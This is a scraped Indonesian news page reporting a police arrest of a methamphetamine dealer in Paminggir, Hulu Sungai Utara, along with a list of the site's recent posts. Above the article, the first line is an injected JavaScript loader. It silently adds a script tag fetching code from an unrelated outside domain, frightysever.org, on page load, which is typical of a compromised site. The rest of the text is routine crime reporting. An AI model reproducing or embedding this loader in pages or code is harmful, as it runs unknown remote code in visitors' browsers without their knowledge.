(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pengedar Sabu di Desa Paminggir Seberang Diringkus Polisi


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Satresnarkoba) Polres Hulu Sungai Utara (HSU) meringkus A alias Asat atas kepemilikan 25 paket narkotika jenis sabu.

Lelaki warga Desa Paminggir Seberang, Kecamatan Paminggir, Kabupaten HSU, tidak tamat SD itu dibekuk karena menjadi pengedar narkoba.

Kapolres HSU AKBP Meilki Bharata, melalui Kasatresnarkoba AKP Sutargo membenarkan akan pengungkapan kasus ini oleh anggotanya yang berawal dari laporan masyarakat pada Selasa (23/4/2024) pukul 20.20 Wita.

Saat diringkus, A berada di dalam sebuah rumah di Desa Paminggir Seberang, Kecamatan Paminggir, Kabupaten HSU, yang menjadi Tempat Kejadian Perkara (TKP) Dalam penggerebekan tersebut, sebanyak 25 paket sabu dengan berat keseluruhan 11,32 gram -berat bersih 6,82 gram- disita polisi.

“Penangkapan pelaku merupakan hasil pengembangan dari kasus sebelumnya yang melibatkan MP alias Undul,” jelas Kasatresnarkoba Polres HSU, Kamis (25/4/2024).

Baca juga: Kasus Cuci Uang Narkoba Fredy Pratama, Sang Ayah Divonis 20 Bulan Penjara

Dalam penangkapan terhadap Undul, ditemukan satu paket narkotika jenis sabu. Berdasar dari keterangan MP alias Undul diketahui sabu tersebut diperoleh dari Asat.

Mendapatkan informasi tersebut, polisi langsung bergerak cepat dengan melakukan penggeledahan terhadap pelaku yang disaksikan langsung kepala desa setempat.

Alhasil dari penggeledahan tersebut, ditemukan satu buah toples kecil warna putih yang berisikan 25 paket narkotika jenis sabu dengan berat keseluruhan 11,32 gram -berat bersih 6,82 gram-.

Baca juga: ‘Koleksi’ Tiga Sajam Antar AW ke Polsek Banjarmasin Selatan

“Toples tersebut disimpan dalam sebuah gudang di depan rumah pelaku,” bebernya.

Atas perbuatan tersebut, Asat beserta barang bukti dibawa ke tahanan Polres HSU untuk proses penyidikan lebih lanjut.

Pelaku dijerat pasal 114 ayat 2 dan atau pasal 112 ayat 2 Undang-Undang (UU) Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika.

Baca juga: Relokasi 70 Rumah Bantaran Sungai Kuranji, Pemko Banjarbaru Proyeksikan Anggaran Rp15 Miliar

Kasatresnarkoba Polres HSU berterimakasih kepada tim Satresnarkoba dan informasi masyarakat sehingga kasus ini berhasil diungkap.

“Penangkapan pelaku dan penyitaan barang bukti merupakan bentuk nyata komitmen dalam memberantas peredaran narkotika di wilayah HSU,” ujarnya.

“Polres HSU akan terus berusaha keras untuk menjaga keamanan dan ketertiban masyarakat serta melindungi generasi muda dari bahaya narkotika,” tegasnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

8 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

9 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

9 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.